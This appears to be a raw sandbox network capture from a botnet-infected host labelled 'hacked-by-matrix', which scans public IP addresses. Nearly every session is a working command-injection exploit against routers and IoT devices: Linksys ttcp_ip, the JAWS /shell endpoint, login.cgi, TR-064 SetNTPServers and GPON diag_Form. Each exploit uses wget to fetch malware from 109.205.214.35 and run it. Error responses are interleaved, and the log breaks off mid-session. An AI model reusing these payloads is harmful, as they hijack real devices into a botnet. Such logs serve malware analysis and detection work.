ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1148	192.168.2.23	36008	154.17.29.201	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.415050983 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:45.596421957 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1149	192.168.2.23	33386	108.156.33.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.454859018 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:46.290972948 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:46.448766947 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:18:46 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 59970c86d3717db509a968eaad0da4de.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR50-P1 X-Amz-Cf-Id: nffOTtRy7oHKngWaOwdHiAhvKU-o00PSJRBBP00OLU4156CRxgN3YA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 6e 66 66 4f 54 74 52 79 37 6f 48 4b 6e 67 57 61 4f 77 64 48 69 41 68 76 4b 55 2d 6f 30 30 50 53 4a 52 42 42 50 30 30 4f 4c 55 34 31 35 36 43 52 78 67 4e 33 59 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: nffOTtRy7oHKngWaOwdHiAhvKU-o00PSJRBBP00OLU4156CRxgN3YA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1150	192.168.2.23	35656	13.13.57.38	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:45.988209009 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:46.578532934 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:47.282344103 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:47.394258976 CET	197	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:47 GMT Server: Apache Content-Length: 20 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 48 54 54 50 20 42 41 44 20 52 45 51 55 45 53 54 Data Ascii: 400 HTTP BAD REQUEST

Session ID	Source IP	Source Port	Destination IP	Destination Port
1151	192.168.2.23	42482	132.205.42.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:46.184706926 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:49.202066898 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1152	192.168.2.23	41678	71.218.185.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:47.419070959 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1153	192.168.2.23	41680	71.218.185.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:47.560518980 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1154	192.168.2.23	59316	72.27.179.177	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:47.721309900 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:48.256820917 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:48.419609070 CET	271	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Thu, 21 Mar 2024 04:18:47 GMT Connection: close Data Raw: 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 35 30 31 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 69 73 20 6e 6f 74 20 72 65 63 6f 67 6e 69 7a 65 64 20 62 79 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 0a Data Ascii: <HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>501 Not Implemented</H1>The requested method is not recognized by this server.</BODY>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1155	192.168.2.23	52248	5.17.3.34	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:47.793272972 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:48.978070974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:49.243972063 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:18:48 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1156	192.168.2.23	58860	42.9.161.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316019058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1157	192.168.2.23	48320	210.136.192.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316071033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1158	192.168.2.23	48434	94.252.255.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316107035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1159	192.168.2.23	59144	118.70.11.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316140890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1160	192.168.2.23	57624	79.105.66.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316179991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1161	192.168.2.23	37316	79.20.217.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316251040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1162	192.168.2.23	43242	5.68.60.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316257000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1163	192.168.2.23	56706	37.49.98.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316289902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1164	192.168.2.23	45848	5.15.115.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:48.316318989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.23	43990	118.133.103.149	443

Timestamp	Bytes transferred	Direction	Data
